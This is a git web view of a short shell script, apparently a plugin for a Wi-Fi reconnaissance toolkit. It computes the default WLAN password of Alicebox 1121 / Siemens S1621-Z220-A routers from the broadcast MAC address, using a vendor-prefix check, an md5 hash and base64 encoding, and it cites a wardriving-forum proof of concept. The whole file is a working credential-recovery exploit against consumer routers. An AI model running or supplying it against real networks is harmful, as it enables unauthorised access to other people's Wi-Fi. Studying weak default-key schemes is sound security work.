summaryrefslogtreecommitdiffstats
path: root/recon/inspect_wifi/plugins/02alice
blob: f30acc3ae8342918f47eb357e46c6e70c5c541dd (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh
# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
# Based on Poc from 
#    http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
#
#
# ESSID MAC CHANNEL ENCRYPTION 

cd $(dirname $(readlink -f $0))
. ./plugin_core

parse_plugin_args "$@"

if ! check_vendor_mac $VENDOR_MAC "00255E" ;then
  echo "$VENDOR_MAC not affected"
  exit 1
fi

# printf always makes string to lower, need that for correct md5sum
ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) 
TMP=$(printf $ETHMAC | md5sum)
printf ${TMP:0:12} | base64
exit 0